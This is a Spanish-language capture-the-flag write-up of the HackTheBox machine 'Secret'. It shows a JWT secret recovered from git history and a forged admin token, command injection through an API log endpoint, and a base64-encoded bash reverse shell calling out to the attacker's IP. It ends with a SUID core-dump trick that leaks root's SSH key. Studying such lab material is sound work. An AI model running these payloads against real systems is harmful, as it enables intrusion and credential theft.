HackTheBox - Secret

Lanz
Funk Lanz el
HackTheBox - Secret

Máquina Linux nivel fácil. Encontraremos rutas secreeeeetas en una web que permiten inyectar a los comandos :( y dumpeos de memoria de los lindos para jugar con info sensible.

408secretHTB

TL;DR (Spanish writeup)

Creada por: z9fr.

AY ay ay, abriendo bien los ojos oigaaaa.

Inicialmente, tendremos un sitio web que documenta una API, en esa documentación esta la posibilidad de descargar el código fuente para adaptar la API a un proyecto propio. Este código nos desvelará vaaaarias cositas secretas alojadas por el servidor web actual, jugando con JWT y con command-injection lograremos una reverse shell como el usuario dasith en el sistema.

Finalmente, encontraremos un binario (validador de memoria) SUID (generado por root) que al ejecutarlo abre una ruta o archivo con todos los permisos administrativos, en su lógica (podemos ver el código fuente) genera un coredump (dump de memoria) no visible. Jugaremos para crashear el proceso, ver el dump con la data que hayamos abierto y ver su contenido (:

Clasificación de la máquina según la gentesita

Poquito real, algo de jugueteo y bastante uso de nuestras manos

La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) :) La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo, al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo las ganas para ayudarnos ¿por que no hacerlo? … Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3 Todo lo que ves es vida!

Pero antes mueeeerto…

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Escalada de privilegios.

Reconocimiento #


Enumeración de puertos con nmap 📌

Empezaremos descubriendo que puertos (servicios) tiene expuestos (abiertos) la máquina, para ello usaremos nmap:

❱ nmap -p- --open -v 10.10.11.120 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard

Como resultado tenemos:

❱ cat initScan
# Nmap 7.80 scan initiated Thu Mar 10 25:25:25 2022 as: nmap -p- --open -v -oG initScan 10.10.11.120
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.11.120 () Status: Up
Host: 10.10.11.120 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http///, 3000/open/tcp//ppp///
# Nmap done at Thu Mar 10 25:25:25 2022 -- 1 IP address (1 host up) scanned in 219.28 seconds
Puerto Descripción
22 SSH: Podemos obtener una Shell de forma segura.
80 HTTP: Un servidor web.
3000 No sabemos aún que sea este puerto…

Ahora que tenemos los puertos necesitamos saber realmente que se esta ejecutando por detrás de cada uno, así que vamos a descubrir (realmente lo hace nmap :P) por un lado, la versión del software y, por otro lado, probar si algunos scripts por default de nmap pueden encontrar info relevante:

~(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, así no tenemos que escribir uno por uno

❱ extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.11.120
    [*] Open ports: 22,80,3000

[*] Ports copied to clipboard

)~

❱ nmap -p 22,80,3000 -sC -sV 10.10.11.120 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Y obtenemos:

❱ cat portScan
# Nmap 7.80 scan initiated Thu Mar 10 25:25:25 2022 as: nmap -p 22,80,3000 -sC -sV -oN portScan 10.10.11.120
Nmap scan report for 10.10.11.120
Host is up (0.18s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 10 25:25:25 2022 -- 1 IP address (1 host up) scanned in 19.27 seconds

Bien, ya se amplía la visión:

Puerto Servicio Versión
22 SSH OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80 HTTP nginx 1.18.0
3000 HTTP Node.js (Express Middleware)

De todos los dos HTTP se tornan interesantes por sus versiones, además el puerto 3000 ahora si nos muestra info relevante, pero realmente no sabemos si lo es hasta empezar a enumerar, así que démosle (:

Enumeración #


Conociendo el pueblo del puerto 80 📌

Usando nuestro navegador favorito y direccionándonos hacia la URL: http://10.10.11.120 tenemos:

Una página que nos habla de una API (básicamente es un conjunto de procedimientos que pueden ser usados por otro software) que se esta usando para autenticar usuarios usando JSON Web Token (JWT), estos sirven como una forma segura de transmitir información mediante un objeto JSON, la seguridad llega, ya que estos objetos están digitalmente firmados.

Así que eso, una API de autenticación que genera JSON Web Tokens.

Si damos click sobre cualquier apartado de los que vimos antes nos lleva a una nueva ruta: http://10.10.11.120/docs:

Ahí tenemos toda la documentación necesaria (y algunos ejemplos) para interactuar con la API (http://10.10.11.120/api).

De pasada vemos cositas interesantes en la documentación: (son textos de ejemplo, pero AJÁ, nunca se sabe)…

name: dasith
email: root@dasith.works
password: Kekc8swFgD6zU

name: theadmin

Volviendo a la página principal notamos este apartado llamativo:

Nos da la posibilidad de descargar el código fuente de la API en caso de que queramos usarla en algún proyecto… Veamos que hay, la descargamos, descomprimimos y tenemos esto:

❱ ls
local-web

Varios objetos, el primero que me cautivo fue .git:

❱ ls -lago
total 472
drwxrwxr-x 1    144 sep  8  2021 .
drwxrwxr-x 1    182 sep  3  2021 ..
drwxrwxr-x 1      0 sep  3  2021 branches
-rw-rw-r-- 1     38 sep  8  2021 COMMIT_EDITMSG
-rw-rw-r-- 1     92 sep  3  2021 config
-rw-rw-r-- 1     73 sep  3  2021 description
-rw-rw-r-- 1     23 sep  3  2021 HEAD
drwxrwxr-x 1    506 sep  3  2021 hooks
-rw-rw-r-- 1 463197 sep  8  2021 index
drwxrwxr-x 1     14 sep  3  2021 info
drwxrwxr-x 1     16 sep  3  2021 logs
drwxrwxr-x 1   1040 sep  8  2021 objects
drwxrwxr-x 1     18 sep  3  2021 refs

Directorio con cositas de Git (en pocas palabras ayuda a controlar y versionar aplicaciones), algo que podemos hacer es ver los commits (cambios) que se han implementado a la aplicación, una forma es usando:

# Info más detallada
❱ git log

# O mostrando unicamente el título del commit y su ID
❱ git log --oneline

Hay dos commits que nos llaman a investigar, el que habla de retirar .env por temas de seguridad y el que ahora se permiten ver logs del servidor… Veamos rápidamente el contenido del commit (o sea, que cambio se hizo) sobre el .env:

❱ git show 67d8da7

Uhhhhhhhh, lo que podemos interpretar es esto, al archivo .env se le quitó una línea con tooooodo un token (este -token- relacionándolo con los JWT tiene mucha importancia, ya que para su creación ellos solicitan un “token secreto”, OJITO) y se reemplazó por la palabra secret.

Así que guardémoslo… Otra cosita llamativa la notamos en el último commmit, el de los “logs”:

❱ git show e297a27

Opa, inicialmente vemos el username theadmin (que también lo destacamos en la documentación de la API) y una validación para saber si el usuario es admin o no, en caso de que seamos theadmin vamos a ver un mensaje así: welcome back admin al tener un token válido de sesión.

En la segunda imagen notamos algo aún más interesante: existe una ruta llamada /logs (sobre la API: /api/logs) a la cual solo se tiene acceso si tenemos una sesión válida como el usuario theadmin. La ruta recibe el parámetro file para EJECUTAR EN EL SISTEMA (exec) el comando git log --oneline ARCHIVO… KHEEEEEEEEEEEEEEE!! ¿Ya viste que podemos hacer en caso de lograr ver correctamente el recurso /logs?

Podemos hacer un COMMAND INJECTIOOOOON, esto es simplemente aprovechar una instrucción que ejecuta comandos en el sistema de forma no segura para que -ejecute cualquier comando- que queramos :P

Lo conseguiríamos así:

git log --oneline ARCHIVO; id

Ejecuta el git log y al final el id (: Pero aún no podemos probar esto, enfoquémonos en el token que encontramos y veamos si es válido para generar JWT’s válidos y autenticarnos como theadmin.

Explotación #


Jugando con los JSON Web Token 📌

Siguiendo la documentación de la API podemos registrar un usuario así:


- URL:
POST -> http://localhost:3000/api/user/register

- DATOS:
{
    "name": "dasith",
    "email": "root@dasith.works",
    "password": "Kekc8swFgD6zU"
}

Rápidamente con Python:

#!/usr/bin/python3

import requests
import jwt

URL = "http://10.10.11.120:3000"
username = "lanzate"
email = "admin@gmail.com"
password = "lanz321!"

s = requests.Session()

def register():
    data_post = {
        "name": username,
        "email": email,
        "password": password
    }
    r = s.post(URL + '/api/user/register', json=data_post)
    print(r.text)

register()
❱ python3 playWITHapi.py
{"user":"lanzate"}

Ya quedamos registrados, ahora autentiquémonos:


...
def login():
    data_post = {
        "email": email,
        "password": password
    }
    r = s.post(URL + '/api/user/login', json=data_post)

    print(r.text)
...
login()
❱ python3 playWITHapi.py 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjMxNDdlY2VkYzgzMDA0NjJmODVmYmIiLCJuYW1lIjoibGFuemF0ZSIsImVtYWlsIjoiYWRtaW5AZ21haWwuY29tIiwiaWF0IjoxNjQ3Mzk3Mzk2fQ.Mc8Nhu-HOxBtfgPSoWOJbdwtKOpJ90sXExYoSVg5nFg

Nos genera el JWT de autenticación, si intentamos descubrir la estructura que existe detrás del token vemos:

Ahí (como en la documentación) vemos de que objetos esta compuesto el token de sesión, acá empieza la locura y el toqueteo…

Aprovechemos que tenemos un TOKEN y validemos si con él podemos crear JWT válidos contra las rutas privadas y convertirnos en theadmin, sí, sí, tamos ganaos:

(Usaremos la librería pyjwt que pueden instalar en Python para jugar con los JSON Web Tokens)

...
secret_token = "gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE"
...
def priv():
    data_post = {
        "_id": "1",
        "name": "theadmin",
        "email": email,
        "iat": "1"
    }
    jwt_token = jwt.encode(data_post, secret_token, algorithm="HS256")

    print(jwt_token)
...
priv()
❱ python3 playWITHapi.py 
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiIxIiwibmFtZSI6InRoZWFkbWluIiwiZW1haWwiOiJhZG1pbkBnbWFpbC5jb20iLCJpYXQiOiIxIn0.utPAjKmYM-37NAcl0g7qXcmuF2alptlYn6BQhnuYzXU

SE GENERAAAAAAAAAAAAAAAAAAAA! Así que nuestro token secreto es válido y podemos generar JSON Web Tooooooooookens!!

Con la misma libreria y el -token secreto- podemos ver la data detras del token:


...
    jwt_token = jwt.encode(data_post, secret_token, algorithm="HS256")

    print(jwt.decode(jwt_token, secret_token, algorithms=["HS256"]))
...
priv()
❱ python3 playWITHapi.py 
{'_id': '1', 'name': 'theadmin', 'email': 'admin@gmail.com', 'iat': '1'}

Bien, según la documentación de la API para generar la correcta visita a /priv y /logs tenemos que colocar ese JWT en el header auth-token, probemos:

...
def priv():
    data_post = {
        "_id": "1",
        "name": "theadmin",
        "email": email,
        "iat": "1"
    }
    jwt_token = jwt.encode(data_post, secret_token, algorithm="HS256")

    headers = {"auth-token":jwt_token}

    r = s.get(URL + '/api/priv', headers=headers)
    print(r.text)
...
priv()
❱ python3 playWITHapi.py 
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}

ESOOOOOOOOOOOOOOOOOO somos theadmin! Pues veamos /logs y rompamos esta vaina (:

Aprovechando Command-Injection 📌

Solo debemos cambiar la ruta a la que consultamos por URL + '/api/logs', nos devuelve:

❱ python3 playWITHapi.py 
{"killed":false,"code":128,"signal":null,"cmd":"git log --oneline undefined"}

Ahí tenemos el resultado del comando que ejecuta el programa, es erróneo, ya que (si recordamos) la aplicación recibe el parámetro file y lo concatena con el comando, o sea:

...
r = s.get(URL + '/api/logs', params={"file":"hola"}, headers=headers)
...
❱ python3 playWITHapi.py 
{"killed":false,"code":128,"signal":null,"cmd":"git log --oneline hola"}

Sigue existiendo el error, peeero el “archivo” es interpretado. Pues nada, inyectemos por ejemplo el comando id (como hay errores, en lugar de usar ; usemos || para que el sistema haga un “si este comando NO sirve, haz este”):

...
r = s.get(URL + '/api/logs', params={"file":"hola || id"}, headers=headers)
...

Yyyyyyyyyy:

PERFECTOOOOOOOOOOOowooweoOOOWOoweo, tenemos ejecución remota de comandos mediante un command-injection, démosle forma rápidamente a ese script y finalmente usémoslo para obtener una reverse shell en el sistema (:

Simplemente le cambie el nombre al programa de playWITHapi.py a apInjection.py (:

Por ejemplo, si queremos ver la ruta actual donde estamos:

Les dejo el programa acá:

apInjection.py

Vamos a obtener la reverse shell siguiendo estos pasos (hay otras maneras, esta me gusta), primero encodeamos (para evitar problemas mientras viaja por la red) la RevShell que al ejecutarse hará una petición hacia nuestra IP (en mi caso 10.10.14.4) y el puerto en el que nos pongamos en escucha (en mi caso el 4433) enviando una bash:

❱ echo "bash -i >& /dev/tcp/10.10.14.4/4433 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0MzMgMD4mMQo=

Ahora nos ponemos en escucha:

❱ nc -lvp 4433
listening on [any] 4433 ...

Y como comando final (que se ejecutara ya en el servidor, NO en nuestra máquina) le indicamos: Toma la cadena encodeada, decodeala y ejecútala por favor (:

❱ python3 apInjection.py 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0MzMgMD4mMQo= | base64 -d | bash'

Enviamos la petición yyyyyyyyyyyyyyyy:

Y LIIIIISTOS! Ya tenemos nuestra sesión en el sistema como el usuario dasith.

Antes de seguir volvamos nuestra terminal interactiva, esto para lograr movernos entre comandos, tener histórico de ellos y ejecutar CTRL+C sin temor a perder la Shell:

Oki, a romper!

Escalada de privilegios #

Estando dentro del sistema y dando algunas vueltas por directorios nos encontramos estos objetos en la ruta /opt:

# Permisos de ejecución:
dasith@secret:/opt$ stat -c "%a %U:%G %n" count
4755 root:root count

Permisos de objetos en bash.

Tenemos un objeto SUID, un código fuente, un objeto de recuperación de ese código y un archivo .log

Rápidamente, entendamos que es un objeto SUID modificando el ejemplo de este recurso:

Un usuario llamado -dasith- intenta ejecutar el archivo. 

Los permisos para el archivo ejecutable están fijados para todos 
los usuarios con permiso de ejecución (4755), 
de esta manera -dasith- puede ejecutar el archivo. 

El propietario del archivo es (root) y el permiso (SUID) esta fijado (4755), 
por lo que el archivo se ejecuta como (root).

Sencillito, permite ejecutar al usuario X el objeto que ha creado Z como si lo estuviera ejecutando Z (pero se lo debemos indicar o dentro de la instrucción debe estar indicado).

Por lo que cuando ejecutamos count debe existir algún momento en el que seamos root (:

Bien, llamativo, este sería el código fuente al parecer del objeto count para que se hagan sus propias preguntas y respuestas:

code.c

Hay algunas líneas interesantes, pero hay cuatro que ganan nuestra atención:

...
int main()
...
124 │ // drop privs to limit file write
125 │ setuid(getuid());
126 │ // Enable coredump generation
127 │ prctl(PR_SET_DUMPABLE, 1);
...

Notamos que tooooodo lo anterior a la línea 124 (pues siguiendo los flujos, funciones, etc) esta siendo ejecutado como root, justamente en la línea 124 toma el UID (User ID) del usuario que esta ejecutando el programa actualmente (en nuestro caso seria dasith) yyyyyyyyy hace un dump de memoria como ese usuario (dasith).

“Un dump o volcado de memoria es un registro no estructurado del contenido de la memoria en un momento concreto, generalmente utilizado para depurar un programa que ha finalizado su ejecución incorrectamente.” ~ Wikipedia

Les dejo también el manual de la instrucción prctl para que busquen el apartado PR_SET_DUMPABLE (1 permite el dumpeo, 0 nop):

Bueno, un poco loco todo, pero nada de sustos…

Tenemos un objeto ejecutable con permisos SUID que al ser ejecutado hace un dump de memoria (esto es llamativo) para en dado caso de que algo salga mal, pos mostrarlo… Veamos su ejecución (recordemos que se estaría ejecutando como root una parte):

# Creamos entorno de trabajo para evitar molestar a los demás:
dasith@secret:/opt$ cd /tmp
dasith@secret:/tmp$ mkdir test
dasith@secret:/tmp$ cd test
dasith@secret:/tmp/test$

Ejecutamos:

dasith@secret:/tmp/test$ /opt/count 
Enter source file/directory name: /root
-rw-r--r--      .viminfo
drwxr-xr-x      ..
-rw-r--r--      .bashrc
drwxr-xr-x      .local
drwxr-xr-x      snap
lrwxrwxrwx      .bash_history
drwx------      .config
drwxr-xr-x      .pm2
-rw-r--r--      .profile
drwxr-xr-x      .vim
drwx------      .
drwx------      .cache
-r--------      root.txt
drwxr-xr-x      .npm
drwx------      .ssh

Total entries       = 15
Regular files       = 4
Directories         = 10
Symbolic links      = 1
Save results a file? [y/N]: y
Path: /tmp/test/hola

Uhh, el objeto de una nos demuestra que tiene permisos administrativos, ya que estamos viendo el contenido del directorio /root (al que claramente solo se puede acceder con permisos administrativos (valga la aclaración) :P)

Al final nos da la opción de guardar el output en un objeto, este sería el resultado:

dasith@secret:/tmp/test$ cat hola 
Total entries       = 15
Regular files       = 4
Directories         = 10
Symbolic links      = 1

Acá entró en juego el dumpeo para saber que cositas hay en el directorio, pero no nos guarda nada útil ):

La vuelta es que si seguimos jugando con el ejecutable podemos descubrir rutas y archivos (no su contenido) del sistema. Por ejemplo, sabemos que root tiene llave privada:

dasith@secret:/tmp/test$ /opt/count 
Enter source file/directory name: /root/.ssh
drwx------      ..
-rw-------      authorized_keys
-rw-------      id_rsa
drwx------      .
-rw-r--r--      id_rsa.pub
...

Aunque eso, solo nos sirve para descubrir :(

Después de un rato perdido jugando con el programa, me fui a buscar en internet que hacer con esto (“core dump suid privesc”, “suid core dump exploit”, etc.), encontramos algunos post interesantes como este:

Nos deja dos citas, una de ellas ya la conocíamos, pero esta bueno traerla de nuevo para que tome sentido la segunda:

“When a process in Linux terminates abnormally, a core file is usually created by the kernel.” ~ AlephSecurity

Y ahora la interesante:

“When a process receives certain signals (for example SIGSEGV or SIGABRT), the default kernel action for these signals terminates the process and creates a coredump file. This file lets us inspect the state of the program at the time of the crash.” ~ AlephSecurity

También vemos que el output del crash depende de la configuración del objeto /proc/sys/kernel/core_pattern:

dasith@secret:/tmp/test$ cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport %p %s %c %d %P %E

La explicación detallada del contenido esta en el propio post y entendemos que el crash es manejado por el programa Apport.

“Apport collects potentially sensitive data, such as core dumps, stack traces, and log files” ~ Wiki Ubuntu

Y Apport guarda el reporte del crash dentro de la carpeta /var/crash

dasith@secret:/tmp/test$ ls -la /var/crash
total 8
drwxrwxrwt  2 root root 4096 Mar 23 22:53 .
drwxr-xr-x 14 root root 4096 Aug 13  2021 ..

¿Pero como generamos ese crash? Pos simplemente matando el PID (Process ID) del proceso relacionado con count, hagámosle:

Ahora matemos el proceso, podríamos crear otra sesión (reverse shell o agregar llave pública al sistema y entrar por SSH (se los dejo de tarea)) o simplemente mandar esta tarea a segundo plano y terminarla, hagamos esta última:

Ejecutamos CTRL+Z y ya estaría en segundo plano:

Lo siguiente es obtener el PID de ese proceso, listemos todos con la herramienta ps y filtremos por los que contengan la palabra count:

dasith@secret:/tmp/test$ ps auxww
Argumento Descripción
aux Nos muestra información detallada de tooodos los procesos en formato BSD.
w Output con muucho más detalle. Si usamos doble ww es ilimitado el tamaño de detalle.

Filtramos:

dasith@secret:/tmp/test$ ps auxww | grep count
root         859  0.0  0.1 235676  7456 ?        Ssl  06:11   0:01 /usr/lib/accountsservice/accounts-daemon
dasith    217415  0.0  0.0   2488   588 pts/2    T    22:32   0:00 /opt/count
dasith    217464  0.0  0.0   6432   736 pts/2    S+   22:45   0:00 grep --color=auto count

Ahí lo tenemos: 217415, pos matémoslo, peeeeeeeeeeero recordemos una de las citas, debemos pasarle alguna de estas dos señales: SIGSEGV o SIGABRT para que se termine el proceso y cree un archivo con el dump:

Podemos usar kill:

# kill -11 <pid>
# kill -SEGV <pid>
# kill -SIGSEGV <pid>

Entonces:

dasith@secret:/tmp/test$ kill -SIGSEGV 217415

Validemos si efectivamente se murió:

dasith@secret:/tmp/test$ ps auxww | grep count
root         859  0.0  0.1 235676  7456 ?        Ssl  06:11   0:01 /usr/lib/accountsservice/accounts-daemon
dasith    217415  0.0  0.0   2488   588 pts/2    T    22:32   0:00 /opt/count
dasith    217477  0.0  0.0   6432   736 pts/2    S+   22:58   0:00 grep --color=auto count

Nop y pos claramente no ha sido creado el dump:

dasith@secret:/tmp/test$ ls -la /var/crash/
total 8
drwxrwxrwt  2 root root 4096 Mar 23 22:53 .
drwxr-xr-x 14 root root 4096 Aug 13  2021 ..

Usemos el comando fg para ver que pasa si retomamos la tarea en segundo plano:

Nos saca de una (1), esto debido a que el proceso ya no existe (2) y, por lo tanto, se generó el dump file (3) (:

Pos robémonos el dump y veamos como lidiar con él:

dasith@secret:/tmp/test$ mv /var/crash/_opt_count.1000.crash .

En internet encontramos este hilo:

Así que:

Todo correcto y deeeentro debería estar el archivo CoreDump:

Efectivamenteeeeee, es un objeto con data binaria, peeero juguemos con cat o strings para saber si ahí hay info relacionada con el directorio que estábamos consultando antes del crash, o sea /root/.ssh:

dasith@secret:/tmp/test/acamismito$ strings CoreDump | grep "ssh"
/root/.ssh/
/root/.ssh//id_rsa.pub
/root/.ssh/

Y como queríamos ver que objetos había dentro de esa ruta, veamos si están listadas (no su contenido) las llaves que vimos antes:

dasith@secret:/tmp/test/acamismito$ strings CoreDump | grep "id_rsa"
id_rsa
id_rsa.pub
/root/.ssh//id_rsa.pub

Perfeccccctooo, tenemos en el Dump la info que estábamos consultando, pero claro tenemos son los nombres de los archivos… ¿Y si volvemos a repetir el proceso del crash, pero esta vez abriendo directamente la llave privada de root? Entiendo que el programa la abriría (para hacer el recuento que hace) yyyy si se genera el crash en ese mismo instante quedara abieeeerta yyyyy, por lo tanto, deberíamos verla en el dump! A darle rápidamente:

Obtenemos llave privada SSH del usuario root 📌

Ejecutamos binario:

dasith@secret:/tmp/test$ /opt/count 
Enter source file/directory name: /root/.ssh/id_rsa
...

Enviamos proceso a segundo plano:

#CTRL + Z
Save results a file? [y/N]: ^Z
[1]+  Stopped                 /opt/count

Buscamos el PID del proceso:

dasith@secret:/tmp/test$ ps auxwww | grep count
root         859  0.0  0.1 235676  7456 ?        Ssl  06:11   0:01 /usr/lib/accountsservice/accounts-daemon
dasith    246295  0.0  0.0   2488   592 pts/2    T    23:29   0:00 /opt/count
dasith    246297  0.0  0.0   6432   736 pts/2    S+   23:29   0:00 grep --color=auto count

Matamos el proceso:

dasith@secret:/tmp/test$ kill -SIGSEGV 246295

Retomamos el proceso (muerto) en segundo plano:

dasith@secret:/tmp/test$ fg
/opt/count
Segmentation fault (core dumped)

Se genera el dump:

dasith@secret:/tmp/test$ ls -la /var/crash/
total 40
drwxrwxrwt  2 root   root    4096 Mar 23 23:30 .
drwxr-xr-x 14 root   root    4096 Aug 13  2021 ..
-rw-r-----  1 dasith dasith 31468 Mar 23 23:30 _opt_count.1000.crash
dasith@secret:/tmp/test$ mv /var/crash/_opt_count.1000.crash .

Desempacamos el dump:

dasith@secret:/tmp/test$ apport-unpack _opt_count.1000.crash averque
dasith@secret:/tmp/test$ cd averque/
dasith@secret:/tmp/test/averque$ ls 
Architecture  Date           ExecutablePath       _LogindSession  ProcCmdline  ProcEnviron  ProcStatus  Uname
CoreDump      DistroRelease  ExecutableTimestamp  ProblemType     ProcCwd      ProcMaps     Signal      UserGroups

Yyyyy la prueba madre:

dasith@secret:/tmp/test/averque$ strings CoreDump

SI SI SIIIIIIIIIIIIIIIIIII! Tenemos la llave privada del usuario root, esto nos permite ingresar como él sin colocar contraseñaaaaaaaaaaaaaa :D

Así que copiémonos toooda la llave y la pegamos en un archivo de nuestra máquina:

❱ cat root.id_rsa                                                     
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...

Le damos los permisos necesarios:

❱ chmod 700 root.id_rsa 
❱ ls -la
...
-rwx------ 1 lanz lanz 2602 mar 23 25:25 root.id_rsa

Y para probarla como autenticación usamos el argumento -i de SSH:

❱ ssh root@10.10.11.120 -i root.id_rsa

Peeeerfeccccto, tenemos una sesión por SSH como el usuario root, veamos las flags:

Y listooones, bay bay.

Una linda máquina, lo del dump me gustó bastante, muchos jueguitos ahí. No me gusto que no hay relación entre el user path y el root path (o yo no la vi :P), pero bueno, esta rateada como CTF, así que bien (:

Bueno, pues como siempre gracias por acompañarme en este camino y nada, a seguir rompiendo todoooooooooooO!

Comments

comments powered by Disqus